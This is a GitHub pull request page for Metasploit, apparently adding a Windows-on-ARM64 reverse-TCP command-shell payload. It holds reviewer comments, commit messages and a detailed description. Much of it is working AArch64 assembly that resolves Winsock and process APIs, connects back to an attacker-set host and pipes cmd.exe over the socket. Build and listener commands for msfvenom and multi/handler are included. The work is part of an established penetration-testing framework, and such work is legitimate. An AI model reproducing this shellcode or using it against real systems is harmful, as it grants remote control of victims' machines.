Add windows/aarch64/shell_reverse_tcp payload#21589
Add windows/aarch64/shell_reverse_tcp payload#21589vinicius-batistella wants to merge 4 commits into
Conversation
| # Drop this file at: | ||
| # modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb | ||
| # inside your metasploit-framework clone, then: | ||
| # ./msfvenom -p windows/aarch64/shell_reverse_tcp LHOST=... LPORT=... -f raw -o shell.bin | ||
| # ./msfvenom -p windows/aarch64/shell_reverse_tcp LHOST=... LPORT=... -f exe -o shell.exe | ||
| # ./msfconsole -q -x "use exploit/multi/handler; \ | ||
| # set payload windows/aarch64/shell_reverse_tcp; \ | ||
| # set LHOST ...; set LPORT ...; run" | ||
| ## |
There was a problem hiding this comment.
That header was leftover scratch from the standalone-prototype phase. Removed in f422732.
| # Fall back to placeholders when datastore isn't populated yet -- the | ||
| # framework calls generate() from `size` during `show info` / module | ||
| # discovery, well before the user sets LHOST/LPORT. Raising here would | ||
| # break those flows. msfvenom always populates the datastore from CLI | ||
| # flags before invoking generate, so real use is unaffected. | ||
| lhost = datastore['LHOST'] | ||
| lhost = '127.0.0.1' if lhost.nil? || lhost.to_s.empty? | ||
|
|
||
| lport = datastore['LPORT'].to_i | ||
| lport = 4444 unless (1..65535).cover?(lport) | ||
|
|
||
| ip_bytes = Rex::Socket.addr_aton(lhost) | ||
| unless ip_bytes && ip_bytes.bytesize == 4 | ||
| # Hostname resolved to non-IPv4 (or resolve failed). Fall back to | ||
| # loopback so size calc still works; msfvenom will error elsewhere | ||
| # if the user really tried to use a bad LHOST. | ||
| ip_bytes = Rex::Socket.addr_aton('127.0.0.1') | ||
| end |
There was a problem hiding this comment.
All of this is done internally as LHOST and LPORT are required datastore options.
There was a problem hiding this comment.
Yeah, you were right. Fixed in f422732 as well.
| def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) | ||
| # Differences from the standalone rev2.s prototype: | ||
| # - `.text` / `.global` directives stripped (aarch64 gem rejects them) | ||
| # - `[reg, wreg, uxtw #N]` rewritten as `mov w15, w4; lsl x15, x15, #N; | ||
| # add x15, base, x15; ldr ...` to avoid extended-register addressing | ||
| # in the aarch64 gem parser | ||
| # - constant expressions like `(12*2)` pre-evaluated to literals | ||
| # - `mov x0, #-1` replaced with `movn x0, #0` (canonical encoding) | ||
| # | ||
| # Slot table (x29 + offset): | ||
| # 0x00 kernel32_base 0x08 &find_function 0x18 LoadLibraryA | ||
| # 0x28 WSAStartup 0x30 WSASocketA 0x38 WSAConnect | ||
| # 0x40 CreateProcessA 0x50 sockaddr_in 0x70 WSADATA | ||
| # Gaps at 0x10 and 0x20 are intentional -- previously held cached | ||
| # TerminateProcess (re-resolved by exitfunk now) and OpenProcessToken | ||
| # (was unused dead code), preserved to keep slot offsets stable. | ||
| <<~ASM | ||
| main: | ||
| sub sp, sp, #0x300 | ||
| mov x29, sp | ||
| add x19, x29, #0x50 | ||
| add x21, x29, #0x70 | ||
|
|
||
| find_kernel32: | ||
| ldr x6, [x18, #0x60] | ||
| ldr x6, [x6, #0x18] | ||
| ldr x6, [x6, #0x30] | ||
|
|
||
| next_module: | ||
| ldr x3, [x6, #0x10] | ||
| ldr x7, [x6, #0x40] | ||
| ldr x6, [x6] | ||
| ldrh w8, [x7, #24] | ||
| cbnz w8, next_module | ||
|
|
||
| find_function_shorten: | ||
| b find_function_shorten_bnc | ||
|
|
||
| find_function_ret: | ||
| str x30, [x29, #0x08] | ||
| b resolve_symbols_kernel32 | ||
|
|
||
| find_function_shorten_bnc: | ||
| bl find_function_ret | ||
|
|
||
| find_function: | ||
| mov w10, w0 | ||
| ldr w8, [x3, #0x3c] | ||
| add x8, x8, x3 | ||
| ldr w9, [x8, #0x88] | ||
| add x9, x9, x3 | ||
| ldr w4, [x9, #0x18] | ||
| ldr w11, [x9, #0x20] | ||
| add x11, x11, x3 | ||
|
|
||
| find_function_loop: | ||
| cbz w4, find_function_finished | ||
| sub w4, w4, #1 | ||
| mov w15, w4 | ||
| lsl x15, x15, #2 | ||
| add x15, x11, x15 | ||
| ldr w12, [x15] | ||
| add x6, x12, x3 | ||
|
|
||
| compute_hash: | ||
| mov w5, wzr | ||
|
|
||
| compute_hash_again: | ||
| ldrb w0, [x6], #1 | ||
| cbz w0, compute_hash_finished | ||
| ror w5, w5, #13 | ||
| add w5, w5, w0 | ||
| b compute_hash_again | ||
|
|
||
| compute_hash_finished: | ||
| find_function_compare: | ||
| cmp w5, w10 | ||
| b.ne find_function_loop | ||
|
|
||
| ldr w12, [x9, #0x24] | ||
| add x12, x12, x3 | ||
| mov w15, w4 | ||
| lsl x15, x15, #1 | ||
| add x15, x12, x15 | ||
| ldrh w4, [x15] | ||
| ldr w12, [x9, #0x1c] | ||
| add x12, x12, x3 | ||
| mov w15, w4 | ||
| lsl x15, x15, #2 | ||
| add x15, x12, x15 | ||
| ldr w13, [x15] | ||
| add x0, x13, x3 | ||
|
|
||
| find_function_finished: | ||
| ret | ||
|
|
||
| resolve_symbols_kernel32: | ||
| str x3, [x29, #0x00] | ||
|
|
||
| movz w0, #0x4e8e | ||
| movk w0, #0xec0e, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x18] | ||
|
|
||
| resolve_symbols_CreateProcessA: | ||
| movz w0, #0xfe72 | ||
| movk w0, #0x16b3, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x40] | ||
|
|
||
| load_ws2_32: | ||
| movz x0, #0x7357 | ||
| movk x0, #0x5f32, lsl #16 | ||
| movk x0, #0x3233, lsl #32 | ||
| movk x0, #0x642e, lsl #48 | ||
| movz w1, #0x6c6c | ||
| sub sp, sp, #16 | ||
| str x0, [sp] | ||
| str w1, [sp, #8] | ||
| mov x0, sp | ||
| ldr x9, [x29, #0x18] | ||
| blr x9 | ||
| add sp, sp, #16 | ||
| mov x3, x0 | ||
|
|
||
| resolve_ws2_32: | ||
| movz w0, #0xedcb | ||
| movk w0, #0x3bfc, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x28] | ||
|
|
||
| movz w0, #0x09d9 | ||
| movk w0, #0xadf5, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x30] | ||
|
|
||
| movz w0, #0xba0c | ||
| movk w0, #0xb32d, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x38] | ||
|
|
||
| call_WSAStartup: | ||
| movz w0, #0x0202 | ||
| mov x1, x21 | ||
| ldr x9, [x29, #0x28] | ||
| blr x9 | ||
|
|
||
| call_WSASocket: | ||
| mov w0, #2 | ||
| mov w1, #1 | ||
| mov w2, #6 | ||
| mov x3, xzr | ||
| mov w4, wzr | ||
| mov w5, wzr | ||
| ldr x9, [x29, #0x30] | ||
| blr x9 | ||
| mov x22, x0 | ||
|
|
||
| fill_sockaddr_fast: | ||
| movz x0, #0x0002 | ||
| movk x0, ##{format('0x%04x', port_imm)}, lsl #16 | ||
| movk x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32 | ||
| movk x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48 | ||
| stp x0, xzr, [x19] | ||
|
|
||
| call_WSAConnect: | ||
| mov x0, x22 | ||
| mov x1, x19 | ||
| mov w2, #16 | ||
| mov x3, xzr | ||
| mov x4, xzr | ||
| mov x5, xzr | ||
| mov x6, xzr | ||
| ldr x9, [x29, #0x38] | ||
| blr x9 | ||
|
|
||
| build_PROCESS_INFORMATION_and_STARTUPINFOA: | ||
| sub sp, sp, #0xB0 | ||
| add x10, sp, #0x10 | ||
| add x11, sp, #0x30 | ||
| add x12, sp, #0xA0 | ||
|
|
||
| stp xzr, xzr, [x10] | ||
| str xzr, [x10, #16] | ||
|
|
||
| stp xzr, xzr, [x11, #0x00] | ||
| stp xzr, xzr, [x11, #0x10] | ||
| stp xzr, xzr, [x11, #0x20] | ||
| stp xzr, xzr, [x11, #0x30] | ||
| stp xzr, xzr, [x11, #0x40] | ||
| stp xzr, xzr, [x11, #0x50] | ||
| str xzr, [x11, #0x60] | ||
|
|
||
| mov w0, #0x68 | ||
| str w0, [x11, #0x00] | ||
| mov w0, #0x100 | ||
| str w0, [x11, #0x3C] | ||
| str x22, [x11, #0x50] | ||
| str x22, [x11, #0x58] | ||
| str x22, [x11, #0x60] | ||
|
|
||
| movz x0, #0x6D63 | ||
| movk x0, #0x2E64, lsl #16 | ||
| movk x0, #0x7865, lsl #32 | ||
| movk x0, #0x0065, lsl #48 | ||
| str x0, [x12] | ||
|
|
||
| call_CreateProcessA: | ||
| mov x0, xzr | ||
| mov x1, x12 | ||
| mov x2, xzr | ||
| mov x3, xzr | ||
| mov w4, #1 | ||
| mov w5, wzr | ||
| mov x6, xzr | ||
| mov x7, xzr | ||
| stp x11, x10, [sp] | ||
|
|
||
| ldr x9, [x29, #0x40] | ||
| blr x9 | ||
|
|
||
| add sp, sp, #0xB0 | ||
|
|
||
| exitfunk: | ||
| ldr x3, [x29, #0x00] | ||
| movz w0, ##{format('0x%04x', exit_lo)} | ||
| movk w0, ##{format('0x%04x', exit_hi)}, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| mov x10, x0 | ||
| movn x0, #0 | ||
| mov w1, wzr | ||
| blr x10 | ||
| brk #0 | ||
| ASM | ||
| end |
There was a problem hiding this comment.
This stuff looks mostly like boilerplate stuff, why not compile the shellcode once, store it in Payload option in initialize and set lhost and lport using Offsets?
There was a problem hiding this comment.
Same pattern as modules/payloads/singles/osx/aarch64/shell_reverse_tcp.rb (@AlanFoster), and for the same reason: the AArch64 sockaddr is built from MOVZ/MOVK immediates loaded into a register, not from raw .word bytes. The 16-bit value lives at bits 5–20 of a 32-bit instruction word, so the framework's standard Offsets byte-substitution types ('ADDR', 'n', 'v', 'ADDR16MSB/LSB' in Msf::Payload#substitute_vars) don't natively patch it. linux/aarch64/shell_reverse_tcp can use precompiled bytes + Offsets precisely because its sockaddr is stored as raw .word 0x5c110002, 0x0100007f literals — that's not possible here without a custom packing type.
That said, a clean precompiled-once refactor is feasible: declare a custom packing (e.g. 'AARCH64_MOVK_IMM16') and override replace_var (the per-payload hook at lib/msf/core/payload.rb:346) to do the bit-field patch ourselves. generate then collapses to nearly a no-op, and the asm parser only runs once at module load. Happy to do that as a follow-up commit if you'd prefer the precompiled-once design — just confirm and I'll push it.
There was a problem hiding this comment.
Pull request overview
Adds a new stageless Windows-on-ARM (AArch64) reverse TCP command-shell payload (windows/aarch64/shell_reverse_tcp) and hooks AArch64 into the EXE format dispatcher so msfvenom can wrap AArch64 payloads into PE executables, with accompanying RSpec coverage.
Changes:
- Add
modules/payloads/singles/windows/aarch64/shell_reverse_tcpimplementing an inline reverse TCPcmd.exeshell for Windows AArch64. - Add RSpec coverage for payload generation variability (LHOST/LPORT/EXITFUNC) and cached-size consistency.
- Add
ARCH_AARCH64dispatch branches toMsf::Util::EXE.to_executable_fmtforexeandexe-only.
Impact Analysis:
- Blast radius: medium — new payload affects payload consumers (
msfvenom,multi/handler) andto_executable_fmtaffects all-f exe/-f exe-onlyusers for Windows AArch64. - Data and contract effects: low — no schema/storage changes; does expand supported arch/format combinations for executable generation.
- Rollback and test focus: rollback is straightforward (revert new payload + dispatcher branches); validate
msfvenom -f exe/-f exe-onlyfor x86/x64 remains unchanged and AArch64 now succeeds, plus run the added RSpec payload specs.
Reviewed changes
Copilot reviewed 4 out of 4 changed files in this pull request and generated 5 comments.
| File | Description |
|---|---|
modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb |
New Windows AArch64 reverse TCP command shell payload implemented as inline assembled shellcode. |
spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb |
New spec validating payload compiles and changes output with LHOST/LPORT/EXITFUNC. |
spec/modules/payloads_spec.rb |
Registers the new payload for cached-size consistency shared example coverage. |
lib/msf/util/exe.rb |
Adds ARCH_AARCH64 branches for exe and exe-only format wrapping to AArch64 PE generator. |
| when ARCH_AARCH64 | ||
| to_winaarch64pe(framework, code, exeopts) |
| when ARCH_AARCH64 | ||
| to_winaarch64pe(framework, code, exeopts) |
There was a problem hiding this comment.
Addressed upstream in #21588 (580d45f): the separate mis-indented ARCH_AARCH64 branch was removed when 'exe-only' was folded into when ARCH_X64, ARCH_AARCH64 → to_winpe_only(...).
| @@ -0,0 +1,355 @@ | |||
| ## | |||
| require 'rspec' | ||
|
|
| def generate(_opts = {}) | ||
| ip_bytes = Rex::Socket.addr_aton(datastore['LHOST']) | ||
|
|
There was a problem hiding this comment.
Added in f06a49d — raises ArgumentError if LHOST isn't IPv4 before encoding into the AF_INET sockaddr.
|
@bwatters-r7 and @msutovsky-r7, could a maintainer kindly re-run the failed job? The only failing check is Meterpreter Acceptance / windows_meterpreter windows-2022: a timeout in post/test/socket_channels for windows/meterpreter/reverse_tcp (x86 Meterpreter, 488s). Unrelated to any changes that I've made. |
Position-independent AArch64 reverse-TCP command shell payload for Windows on ARM. Resolves Winsock and process-creation APIs via PEB walk + ROR-13 hashing, opens a TCP socket, then spawns cmd.exe with stdin/stdout/stderr piped over the socket via CreateProcessA with STARTF_USESTDHANDLES. Supports EXITFUNC=process/thread/none via a runtime hash-dispatcher that the Ruby module patches with the chosen kernel32 export hash. Tested end-to-end on Windows 11 ARM64 (build 26200) with all three EXITFUNC modes. Output: 664 bytes raw, 6656-byte PE via -f exe. Depends on the exe.rb ARCH_AARCH64 dispatch fix.
- rubocop -a on the payload module: align hash literals, drop a
redundant Metrics/MethodLength disable, fix indent in
compile_aarch64. No semantic changes. Resolves
Lint/msftidy (3.2) which runs rubocop on touched modules.
- Register windows/aarch64/shell_reverse_tcp in
spec/modules/payloads_spec.rb under the same shared example
('payload cached size is consistent') already used by
windows/aarch64/exec. Resolves the Verify rspec --tag content
failure where the 'untested payloads' shared context was
flagging the new payload as missing from the registry.
- Add spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb
modeled on the existing windows/aarch64/exec_spec.rb: stubs
compile_aarch64 to keep the spec independent of the AArch64
parser, then asserts that the asm pipeline runs, that LHOST and
LPORT changes alter the produced shellcode, and that all three
EXITFUNC modes (process / thread / none) generate non-empty
output.
Co-authored-by: Cursor <cursoragent@cursor.com>
- Drop the leftover prototype 'Drop this file at: ...' header comment block. It described how to drop the standalone file into a clone, which is no longer relevant once the module ships in tree (msutovsky-r7). - Drop the LHOST/LPORT/IP fallback in generate. LHOST and LPORT are required datastore options registered by the Msf::Handler::ReverseTcp handler, and the cached-size / show-info paths populate them via PayloadCachedSize.module_options (OPTS_IPV4: LHOST=223.255.255.255 LPORT=4444). The fallback was defensive scaffolding from prototype days that never actually triggered (msutovsky-r7). generate is now ~30 lines shorter and matches the assumption that the framework guarantees populated datastore options before invoking it -- same contract as osx/aarch64/shell_reverse_tcp. No change to the produced shellcode bytes for any valid LHOST/LPORT/EXITFUNC combination. Co-authored-by: Cursor <cursoragent@cursor.com>
- Add # frozen_string_literal: true to the payload module and its spec file per AGENTS.md convention for new Ruby files. - Validate LHOST is IPv4 before encoding into the AF_INET sockaddr. OptAddress accepts IPv6 hostnames but this shellcode builds a 4-byte sin_addr via MOVZ/MOVK immediates; without the check an IPv6 LHOST silently produces non-functional shellcode. Matches linux/riscv64le/shell_reverse_tcp and osx/x64/shell_reverse_tcp. Co-authored-by: Cursor <cursoragent@cursor.com>
f06a49d to
d532673
Compare
Add
windows/aarch64/shell_reverse_tcppayloadCloses (or partially addresses) #20385.
Summary
Adds the first Windows on ARM (AArch64) reverse-TCP command-shell
payload. Connects back to
LHOST:LPORT, spawnscmd.exe, and pipesstdin/stdout/stderr through the socket via
CreateProcessAwithSTARTF_USESTDHANDLES. Position-independent shellcode, no staticimports, no relocations.
Same module structure as the existing
windows/aarch64/exec(singlestageless payload assembled inline via
compile_aarch64), so it slotsinto the existing toolchain (
-f raw/-f exe/multi/handler).Technique
InInitializationOrderModuleList→match
kernel32.dllby name length, then Stephen Fewer's classicROR-13 hash lookup against the Export Address Table. Same resolver
block that
windows/aarch64/execuses.LoadLibraryA("Ws2_32.dll")→WSAStartup(MAKEWORD(2,2))→WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)→WSAConnect(s, &sockaddr_in, ...).CreateProcessA(NULL, "cmd.exe", ..., TRUE, ...)with a
STARTUPINFOAwhosehStdInput/hStdOutput/hStdErrorall point at the socket handle.
(
TerminateProcess/ExitThread/ExitProcess) is re-resolved byROR-13 hash at runtime. The two 16-bit
MOVZ/MOVKimmediates thatencode the hash are patched by the Ruby module per the
EXITFUNCdatastore option, so a single asm body covers all threecases without source duplication.
Module options
LHOSTMsf::Handler::ReverseTcp)LPORT4444EXITFUNCprocessprocess/thread/none/seh(last is treated asprocess)LHOST/LPORT are encoded into three
MOVZ/MOVKimmediates insidefill_sockaddr_fast(sin_port + two halves of the IPv4 sin_addr), withthe standard network-byte-order → little-endian-immediate transform.
No offset-based byte patching; the encoded values are interpolated as
hex literals into the assembly heredoc before
compile_aarch64runs.Output size
CachedSize = 664bytes (raw shellcode). With-f exethe resultingPE is 6656 bytes (the existing
template_aarch64_windows.exetemplateplus the embedded shellcode).
Usage
$ ./msfvenom -p windows/aarch64/shell_reverse_tcp \ LHOST=192.168.0.10 LPORT=4444 \ -f exe -o shell.exe [*] Payload size: 664 bytes [*] Final size of exe file: 6656 bytes [*] Saved as: shell.exe $ ./msfconsole -q -x "use exploit/multi/handler; \ set payload windows/aarch64/shell_reverse_tcp; \ set LHOST 192.168.0.10; set LPORT 4444; run" [*] Started reverse TCP handler on 192.168.0.10:4444 [*] Command shell session 1 opened (192.168.0.10:4444 -> 192.168.0.x:xxxxx) C:\Users\...\Downloads>Verification
Tested end-to-end on Windows 11 ARM64 (build 10.0.26200.8655) running
inside a UTM VM. Each of the three EXITFUNC modes was built into its
own binary and exercised against a fresh handler. All three caught
sessions,
whoami/ipconfig/dirall worked,exitcleanlyterminated the shellcode in all three modes.
msfvenom -f rawproduces a 664-byte raw shellcodemsfvenom -f exeproduces a runnable PE on Win11 ARM64nc -lvnp <port>catches the shell (sanity check the wire format is a plain TCP cmd.exe pipe)multi/handlerupgrades the connection to a propershell aarch64/windowssession with banner detectionEXITFUNC=process(default) — TerminateProcess on selfEXITFUNC=thread— ExitThread (terminates the only thread → process exits)EXITFUNC=none— falls through to ExitProcess via dispatchertools/dev/msftidy.rbpassesrubocop -apassesreload_all+use payload/...+show info+show optionsNotes
exe.rbARCH_AARCH64dispatcher fix).Without that PR merged,
-f exereturns "The payload could not begenerated, check options" because
to_executable_fmt's'exe'casehas no AArch64 branch.
-f rawstill works without the dependency.ideas:
windows/aarch64/shell_bind_tcp(swapWSAConnectforWSAAccept), and a stagedwindows/aarch64/reverse_tcponcemetasploit-payloads ARM64 metsrv (Add ARM64 cross-compilation support for Windows Meterpreter metasploit-payloads#794)
lands so a Meterpreter stage exists to load.
Msf::Payload::Single. No staged variant in this PR.standalone debugging prototype to keep the two artifacts
byte-comparable during future audits. Gaps at
[x29, #0x10]and[x29, #0x20]are intentional and documented inline.Author / License
Vinicius Batistella